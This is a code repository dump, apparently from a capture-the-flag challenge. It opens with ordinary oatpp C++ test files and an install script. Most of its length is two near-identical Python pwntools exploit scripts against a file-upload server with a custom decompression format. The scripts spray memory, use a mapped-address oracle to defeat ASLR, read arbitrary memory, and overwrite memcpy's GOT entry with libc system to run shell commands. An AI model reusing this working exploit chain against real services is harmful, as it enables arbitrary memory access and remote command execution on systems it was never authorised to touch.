Call root endpoint of MyController */ auto response = client->getRoot(); /* Assert that server responds with 200 */ OATPP_ASSERT(response->getStatusCode() == 200); /* Read response body as MessageDto */ auto message = response->readBodyToDto>(objectMapper.get()); /* Assert that received message is as expected */ OATPP_ASSERT(message); OATPP_ASSERT(message->statusCode == 200); OATPP_ASSERT(message->message == "Hello World!"); }, std::chrono::minutes(10) /* test timeout */); /* wait all server threads finished */ std::this_thread::sleep_for(std::chrono::seconds(1)); } ================================================ FILE: resources/dist-guess-god/src/test/MyControllerTest.hpp ================================================ #ifndef MyControllerTest_hpp #define MyControllerTest_hpp #include "oatpp-test/UnitTest.hpp" class MyControllerTest : public oatpp::test::UnitTest { public: MyControllerTest() : UnitTest("TEST[MyControllerTest]"){} void onRun() override; }; #endif // MyControllerTest_hpp ================================================ FILE: resources/dist-guess-god/src/test/app/MyApiTestClient.hpp ================================================ #ifndef MyApiTestClient_hpp #define MyApiTestClient_hpp #include "oatpp/web/client/ApiClient.hpp" #include "oatpp/core/macro/codegen.hpp" /* Begin Api Client code generation */ #include OATPP_CODEGEN_BEGIN(ApiClient) /** * Test API client. * Use this client to call application APIs. */ class MyApiTestClient : public oatpp::web::client::ApiClient { API_CLIENT_INIT(MyApiTestClient) API_CALL("GET", "/", getRoot) // TODO - add more client API calls here }; /* End Api Client code generation */ #include OATPP_CODEGEN_END(ApiClient) #endif // MyApiTestClient_hpp ================================================ FILE: resources/dist-guess-god/src/test/app/TestComponent.hpp ================================================ #ifndef TestComponent_htpp #define TestComponent_htpp #include "oatpp/web/server/HttpConnectionHandler.hpp" #include "oatpp/network/virtual_/client/ConnectionProvider.hpp" #include "oatpp/network/virtual_/server/ConnectionProvider.hpp" #include "oatpp/network/virtual_/Interface.hpp" #include "oatpp/parser/json/mapping/ObjectMapper.hpp" #include "oatpp/core/macro/component.hpp" /** * Test Components config */ class TestComponent { public: /** * Create oatpp virtual network interface for test networking */ OATPP_CREATE_COMPONENT(std::shared_ptr, virtualInterface)([] { return oatpp::network::virtual_::Interface::obtainShared("virtualhost"); }()); /** * Create server ConnectionProvider of oatpp virtual connections for test */ OATPP_CREATE_COMPONENT(std::shared_ptr, serverConnectionProvider)([] { OATPP_COMPONENT(std::shared_ptr, interface); return oatpp::network::virtual_::server::ConnectionProvider::createShared(interface); }()); /** * Create client ConnectionProvider of oatpp virtual connections for test */ OATPP_CREATE_COMPONENT(std::shared_ptr, clientConnectionProvider)([] { OATPP_COMPONENT(std::shared_ptr, interface); return oatpp::network::virtual_::client::ConnectionProvider::createShared(interface); }()); /** * Create Router component */ OATPP_CREATE_COMPONENT(std::shared_ptr, httpRouter)([] { return oatpp::web::server::HttpRouter::createShared(); }()); /** * Create ConnectionHandler component which uses Router component to route requests */ OATPP_CREATE_COMPONENT(std::shared_ptr, serverConnectionHandler)([] { OATPP_COMPONENT(std::shared_ptr, router); // get Router component return oatpp::web::server::HttpConnectionHandler::createShared(router); }()); /** * Create ObjectMapper component to serialize/deserialize DTOs in Contoller's API */ OATPP_CREATE_COMPONENT(std::shared_ptr, apiObjectMapper)([] { return oatpp::parser::json::mapping::ObjectMapper::createShared(); }()); }; #endif // TestComponent_htpp ================================================ FILE: resources/dist-guess-god/src/test/tests.cpp ================================================ #include "MyControllerTest.hpp" #include void runTests() { OATPP_RUN_TEST(MyControllerTest); } int main() { oatpp::base::Environment::init(); runTests(); /* Print how much objects were created during app running, and what have left-probably leaked */ /* Disable object counting for release builds using '-D OATPP_DISABLE_ENV_OBJECT_COUNTERS' flag for better performance */ std::cout << "\nEnvironment:\n"; std::cout << "objectsCount = " << oatpp::base::Environment::getObjectsCount() << "\n"; std::cout << "objectsCreated = " << oatpp::base::Environment::getObjectsCreated() << "\n\n"; OATPP_ASSERT(oatpp::base::Environment::getObjectsCount() == 0); oatpp::base::Environment::destroy(); return 0; } ================================================ FILE: resources/dist-guess-god/src/utility/install-oatpp-modules.sh ================================================ #!/bin/sh rm -rf tmp mkdir tmp cd tmp ########################################################## ## install oatpp MODULE_NAME="oatpp" git clone --depth=1 https://github.com/oatpp/$MODULE_NAME cd $MODULE_NAME mkdir build cd build cmake -DOATPP_BUILD_TESTS=OFF -DCMAKE_BUILD_TYPE=Release .. make install -j 6 cd ../../ ########################################################## cd ../ rm -rf tmp ================================================ FILE: resources/reliable_exploit.py ================================================ import requests import socket from pwn import remote, context, args, u64, p64, ELF context.log_level = 100 ### INTERACTION ### def uploadFile(blob: bytes, fileid: int): assert (fileid < (1<<31) - 1) multipart_form_data = { 'file': (f'payload_{fileid}', blob), } res = requests.post( f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}", files=multipart_form_data ) return res def getFile(fileid: int, extract="true"): res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}") return res # Used by isAddrMapped oracle def getFileRaw(fileid): rawReq = f'GET /files/{fileid}?extract=true HTTP/1.1\r\nAccept: */*\r\nConnection: close\r\n\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP , SERVER_PORT)) io = remote.fromsocket(s) io.send(rawReq.encode()) io.recvuntil(b'\r\n\r\n') buf = io.recv(2) io.close() s.close() return buf ### EXPLOIT ### IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1 def align(x, a=0x1000): mask = a-1 return (x + mask) & ~mask class CompressedFile(): __slots__ = ['cur', 'content', 'out'] def __init__(self, filesize): self.cur = 16 self.content = b'' self.content += p64(0x0123456789abcdef) # magic self.content += p64(filesize) # file size self.out = OUT_ADDR def nop(self): self.content += b'\x00' # cmd0 self.cur += 1 def write(self, b: bytes): assert len(b) == 1 self.content += b'\x01' + b # cmd1 + byte self.cur += 2 self.out += 1 & M64 def seek(self, off): self.content += b'\x02' # cmd2 self.content += p64(off) # offset self.cur += 9 self.out += off & M64 def memcpy(self, off, count): # memcpy(out, out-off, count); self.content += b'\x03' # cmd33 self.content += p64(off) # offset self.content += p64(count) # offset self.cur += 17 self.out += count & M64 def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen) # addr = OUT_ADDR - off off = (OUT_ADDR - addr) & M64 # memcpy(toup.out, addr, 1) toup.memcpy(off, 1) # *(toup.out+1) = 0x41 toup.write(b'A') uploadFile(toup.content, fileid) res = getFileRaw(fileid).split(b'\r\n')[-1] isMapped = res[1] == 0x41 return isMapped def readFromAddr(addr, size, fileid): toup = CompressedFile(size) off = (OUT_ADDR - addr) & M64 toup.memcpy(off, size) uploadFile(toup.content, fileid) res = getFile(fileid) return res.content SERVER_IP = args.SERVER_IP or '127.0.0.1' SERVER_PORT = int(args.SERVER_PORT or 7002) if args.EXPLOIT: print (f"Spraying memory to allocate 3840mb of memory", end='') size = 0x000004000000 for i in range(0, 60): print ('.', end='') #print (f"Spray: {i = } {mem = :#x}") # this will create mappings in the father process of the given size isAddrMapped(IN_ADDR, i, size) print ('OK') start = 0x7f0000000000 end = 0x800000000000 step = 0x100000000 # 4gb isMapped = False j = 0xff while isMapped == False: leakAddr = start + j*step isMapped = (isAddrMapped(leakAddr, 1000 + j)) j -= 1 if j < 0: raise ValueError("wtf j < 0") # at this point we have a mapped address like this # 0x7fXX00000000 def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + increment*i:#x}", end='\t|\t') if isAddrMapped(base + increment*i, idstart+i): print ('Yes') return i*increment print ('No') raise ValueError() def findLastMappedPage(baseAddr, fileid): # Find upper bound, we can't do a binary search because there are some holes which # screw things up try: lastMappedPage = baseAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, fileid) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, fileid+16) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, fileid+16*2) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, fileid+16*3) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, fileid+16*4) return lastMappedPage except ValueError: return baseAddr def isElfPage(page, fileid): return readFromAddr(page, 4, fileid) == b'\x7fELF' retries = 0 while True: libkayle_off = 0x1000*60 lastMappedPage = findLastMappedPage(leakAddr, 40000 + retries*100) libkaylebase = lastMappedPage - libkayle_off print (f"attempt {lastMappedPage = :#x}") if isElfPage(libkaylebase, 9120500 + retries): print ("OK") break leakAddr += 0x1000000 retries += 1 print (f"{libkaylebase = :#x}") memcpy_got = libkaylebase + 0x4048 print (f"{memcpy_got = :#x}") libcbase = libkaylebase - 0x442000 print (f'{libcbase = :#x}') libc = ELF('./libc-2.33.so') libc.address = libcbase print (f"{libc.symbols['system'] = :#x}") # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24) exp.seek((memcpy_got - OUT_ADDR)&M64) # out=memcpy_got for b in p64(libc.symbols['system']): exp.write(bytes([b])) # now out=memcpy_got+8 # memcpy(out, out-off, size) will be # system(out) in_addr_off = len(exp.content) exp.content += cmd # seek to IN_ADDR+in_addr_off, that's where cmd is stored exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64) exp.memcpy(0, 0) # system(cmd) uploadFile(exp.content, 123001) # profit getFile(123001) ================================================ FILE: resources/x.py ================================================ import requests import socket from pwn import remote, context, args, u64, p64, ELF context.log_level = 100 ### INTERACTION ### def uploadFile(blob: bytes, fileid: int): assert (fileid < (1<<31) - 1) multipart_form_data = { 'file': (f'payload_{fileid}', blob), } res = requests.post( f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}", files=multipart_form_data ) return res def getFile(fileid: int, extract="true"): res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}") return res # Used by isAddrMapped oracle def getFileRaw(fileid): rawReq = f'GET /files/{fileid}?extract=true HTTP/1.1\r\nAccept: */*\r\nConnection: close\r\n\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP , SERVER_PORT)) io = remote.fromsocket(s) io.send(rawReq.encode()) io.recvuntil(b'\r\n\r\n') buf = io.recv(2) io.close() s.close() return buf ### EXPLOIT ### IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1 def align(x, a=0x1000): mask = a-1 return (x + mask) & ~mask class CompressedFile(): __slots__ = ['cur', 'content', 'out'] def __init__(self, filesize): self.cur = 16 self.content = b'' self.content += p64(0x0123456789abcdef) # magic self.content += p64(filesize) # file size self.out = OUT_ADDR def nop(self): self.content += b'\x00' # cmd0 self.cur += 1 def write(self, b: bytes): assert len(b) == 1 self.content += b'\x01' + b # cmd1 + byte self.cur += 2 self.out += 1 & M64 def seek(self, off): self.content += b'\x02' # cmd2 self.content += p64(off) # offset self.cur += 9 self.out += off & M64 def memcpy(self, off, count): # memcpy(out, out-off, count); self.content += b'\x03' # cmd33 self.content += p64(off) # offset self.content += p64(count) # offset self.cur += 17 self.out += count & M64 def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen) # addr = OUT_ADDR - off off = (OUT_ADDR - addr) & M64 # memcpy(toup.out, addr, 1) toup.memcpy(off, 1) # *(toup.out+1) = 0x41 toup.write(b'A') uploadFile(toup.content, fileid) res = getFileRaw(fileid).split(b'\r\n')[-1] isMapped = res[1] == 0x41 return isMapped def readFromAddr(addr, size, fileid): toup = CompressedFile(size) off = (OUT_ADDR - addr) & M64 toup.memcpy(off, size) uploadFile(toup.content, fileid) res = getFile(fileid) return res.content SERVER_IP = args.SERVER_IP or '127.0.0.1' SERVER_PORT = int(args.SERVER_PORT or 7002) if args.EXPLOIT: print (f"Spraying memory to allocate 3840mb of memory", end='') size = 0x000004000000 for i in range(0, 60): print ('.', end='') #print (f"Spray: {i = } {mem = :#x}") # this will create mappings in the father process of the given size isAddrMapped(IN_ADDR, i, size) print ('OK') start = 0x7f0000000000 end = 0x800000000000 step = 0x100000000 # 4gb isMapped = False j = 0xff while isMapped == False: leakAddr = start + j*step isMapped = (isAddrMapped(leakAddr, 1000 + j)) j -= 1 if j < 0: raise ValueError("wtf j < 0") # at this point we have a mapped address like this # 0x7fXX00000000 def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + increment*i:#x}", end='\t|\t') if isAddrMapped(base + increment*i, idstart+i): print ('Yes') return i*increment print ('No') raise Exception("find_largest should not fail") # Find upper bound, we can't do a binary search because there are some holes which # screw things up lastMappedPage = leakAddr # + linearFindLargest(leakAddr, 0x100000000, 39000) # +0x8000000 because of holes lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}") # Scan backwards looking for b'\x7fELF' i = 50 numElf = 0 while numElf != 2: theAddr = lastMappedPage-0x1000*i hdr = readFromAddr(theAddr, 4, 40500+i) print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}") if hdr == b'\x7fELF': numElf += 1 print (f"found elf at {theAddr:#x}") if i > 70: print ("Exploit failed, upper bound address was wrong") exit(1) i += 1 libkaylebase = theAddr print (f"{libkaylebase = :#x}") memcpy_got = libkaylebase + 0x4048 print (f"{memcpy_got = :#x}") libcbase = libkaylebase - 0x442000 print (f'{libcbase = :#x}') print (readFromAddr(libcbase, 100, 123000)) libc = ELF('./libc-2.33.so') libc.address = libcbase print (f"{libc.symbols['system'] = :#x}") # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24) exp.seek((memcpy_got - OUT_ADDR)&M64) # out=memcpy_got for b in p64(libc.symbols['system']): exp.write(bytes([b])) # now out=memcpy_got+8 # memcpy(out, out-off, size) will be # system(out) in_addr_off = len(exp.content) exp.content += cmd # seek to IN_ADDR+in_addr_off, that's where cmd is stored exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64) exp.memcpy(0, 0) # system(cmd) uploadFile(exp.content, 123001) # profit getFile(123001)